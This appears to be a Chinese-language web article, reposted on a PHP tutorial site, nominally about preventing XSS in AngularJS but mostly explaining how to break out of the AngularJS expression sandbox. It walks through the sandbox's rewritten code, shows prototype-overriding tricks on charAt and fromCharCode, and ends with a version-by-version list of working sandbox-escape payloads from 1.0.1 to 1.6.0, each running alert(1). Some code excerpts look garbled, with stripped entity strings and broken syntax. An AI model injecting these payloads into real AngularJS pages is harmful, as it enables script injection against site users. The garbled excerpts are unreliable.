这次给大家带来AngularJs如何防止XSS攻击,AngularJs防止XSS攻击的注意事项有哪些,下面就是实战案例,一起来看一下。
概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
前情提要
angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。
沙箱检验
angularJs会对表达式进行重写,并过滤计算输出,比如我们输入
在JS中会被转换成
1 2 3 4 5 | "use strict" ;
var fn = function (s, l, a, i) {
return plus(1, 1);
};
return fn;
|
Nach dem Login kopieren
return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | "use strict" ;
var fn = function (s, l, a, i) {
var v0, v1, v2, v3, v4 = l && ( 'constructor' in l),
v5;
if (!(v4)) {
if (s) {
v3 = s.constructor;
}
} else {
v3 = l.constructor;
}
ensureSafeObject(v3, text);
if (v3 != null) {
v2 = ensureSafeObject(v3.constructor, text);
} else {
v2 = undefined;
}
if (v2 != null) {
ensureSafeFunction(v2, text);
v5 = 'alert\u00281\u0029' ;
ensureSafeObject(v3, text);
v1 = ensureSafeObject(v3.constructor(ensureSafeObject( 'alert\u00281\u0029' , text)), text);
} else {
v1 = undefined;
}
if (v1 != null) {
ensureSafeFunction(v1, text);
v0 = ensureSafeObject(v1(), text);
} else {
v0 = undefined;
}
return v0;
};
return fn;
|
Nach dem Login kopieren
angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。
如何逃逸
怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。
1 2 | 'a' .constructor.fromCharCode=[].join;
'a' .constructor[0]= '\u003ciframe onload=alert(/Backdoored/)\u003e' ;
|
Nach dem Login kopieren
formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:
1 2 3 | onload= function (){
document.write(String.fromCharCode(97));
}
|
Nach dem Login kopieren
还可以这样
1 | 'a' .constructor.prototype.charCodeAt=[].concat
|
Nach dem Login kopieren
当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,
1 2 3 4 5 6 7 | if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out( ' ' );
out(key);
out( '="' );
out(encodeEntities(value));
out( '"' );
}
|
Nach dem Login kopieren
具体的encodeEntities代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function encodeEntities(value) {
return value.
replace(/&/g, '&' ).
replace(SURROGATE_PAIR_REGEXP, function (value) {
var hi = value.charCodeAt(0);
var low = value.charCodeAt(1);
return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';' ;
}).
replace(NON_ALPHANUMERIC_REGEXP, function (value) {
return '' + value.charCodeAt(0) + ';' ;
replace(/</g, '<').
replace(/>/g, '>' );
}
|
Nach dem Login kopieren
具体执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | {{
'a' .constructor.prototype.charAt=[].join;
$eval ( 'x=""' )+ ''
}}
"use strict" ;
var fn = function (s, l, a, i) {
var v5, v6 = l && ( 'x\u003d\u0022\u0022' in l);
if (!(v6)) {
if (s) {
v5 = s.x = "" ;
}
} else {
v5 = l.x = "" ;
}
return v5;
};
fn.assign = function (s, v, l) {
var v0, v1, v2, v3, v4 = l && ( 'x\u003d\u0022\u0022' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = "" ;
}
} else {
v2 = l.x = "" ;
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = "" , text);
v0 = v3.x = "" = v1;
}
return v0;
};
return fn;
|
Nach dem Login kopieren
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | {{
'a' .constructor.prototype.charAt=[].join;
$eval ( 'x=alert(1)' )+ ''
}}
"use strict" ;
var fn = function (s, l, a, i) {
var v5, v6 = l && ( 'x\u003dalert\u00281\u0029' in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function (s, v, l) {
var v0, v1, v2, v3, v4 = l && ( 'x\u003dalert\u00281\u0029' in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
|
Nach dem Login kopieren
下面附上一些代码,可以直接结合angularJs验证
不同版本的实现代码以及发现者:
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
1 | {{constructor.constructor( 'alert(1)' )()}}
|
Nach dem Login kopieren
Nach dem Login kopieren
1.2.0 - 1.2.1 Jan Horn (Google)
1 | {{a= 'constructor' ;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0, 'alert(1)' )()}}
|
Nach dem Login kopieren
1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)
1 | {{ 'a' [{toString:[].join,length:1,0: 'proto' }].charAt= '' .valueOf; $eval ( "x='" +(y=' if (!window\\u002ex)alert(window\\u002ex=1) ')+eval(y)+"' ");}}
|
Nach dem Login kopieren
1.2.6 - 1.2.18 Jan Horn (Google)
1 | {{(_= '' .sub).call.call({}[$= 'constructor' ].getOwnPropertyDescriptor(_.proto,$).value,0, 'alert(1)' )()}}
|
Nach dem Login kopieren
1.2.19 - 1.2.23 Mathias Karlsson
1 | {{toString.constructor.prototype.toString=toString.constructor.prototype.call;[ "a" , "alert(1)" ].sort(toString.constructor);}}
|
Nach dem Login kopieren
1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)
1 | {{ 'a' .constructor.prototype.charAt= '' .valueOf; $eval ( "x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'" );}}
|
Nach dem Login kopieren
1.3.0 Gábor Molnár (Google)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | {{!ready && (ready = true) && (
!call
? $ $watchers [0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
( '' + '' .toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
|
Nach dem Login kopieren
1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)
1 2 3 4 5 | {{
{}[{toString:[].join,length:1,0: 'proto' }].assign=[].join;
'a' .constructor.prototype.charAt= '' .valueOf;
$eval ( 'x=alert(1)//' );
}}
|
Nach dem Login kopieren
1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)
1 2 3 | {{{}[{toString:[].join,length:1,0: 'proto' }].assign=[].join;
'a' .constructor.prototype.charAt=[].join;
$eval ( 'x=alert(1)//' ); }}
|
Nach dem Login kopieren
1.3.19 Gareth Heyes (PortSwigger)
1 2 3 4 | {{
'a' [{toString:false,valueOf:[].join,length:1,0: 'proto' }].charAt=[].join;
$eval ( 'x=alert(1)//' );
}}
|
Nach dem Login kopieren
1.3.20 Gareth Heyes (PortSwigger)
1 | {{ 'a' .constructor.prototype.charAt=[].join; $eval ( 'x=alert(1)' );}}
|
Nach dem Login kopieren
1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)
1 | {{ 'a' .constructor.prototype.charAt=[].join; $eval ( 'x=1} } };alert(1)//' );}}
|
Nach dem Login kopieren
1.5.0 - 1.5.8 Ian Hickey
1 | {{x = { 'y' : '' .constructor.prototype}; x[ 'y' ].charAt=[].join; $eval ( 'x=alert(1)' );}}
|
Nach dem Login kopieren
1.5.9 - 1.5.11 Jan Horn (Google)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | {{
c= '' .sub.call;b= '' .sub.bind;a= '' .sub.apply;
c. $apply = $apply ;c. $eval =b;op= $root .$ $phase ;
$root .$ $phase =null;od= $root . $digest ; $root . $digest =({}).toString;
C=c. $apply (c); $root .$ $phase =op; $root . $digest =od;
B=C(b,c,b); $evalAsync ("
astNode=pop();astNode.type= 'UnaryExpression' ;
astNode.operator= '(window.X?void0:(window.X=true,alert(1)))+' ;
astNode.argument={type: 'Identifier' ,name: 'foo' };
");
m1=B($ $asyncQueue .pop().expression,null, $root );
m2=B(C,null,m1);[].push.apply=m2;a= '' .sub;
$eval ( 'a(b.c)' );[].push.apply=a;
}}
|
Nach dem Login kopieren
= 1.6.0 Mario Heiderich(Cure53)
1 | {{constructor.constructor( 'alert(1)' )()}}
|
Nach dem Login kopieren
Nach dem Login kopieren
相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!
推荐阅读:
jQuery中使用for循环var与使用let有哪些区别
JS调用模式与this关键字使用详解
Das obige ist der detaillierte Inhalt vonWie AngularJs XSS-Angriffe verhindert. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!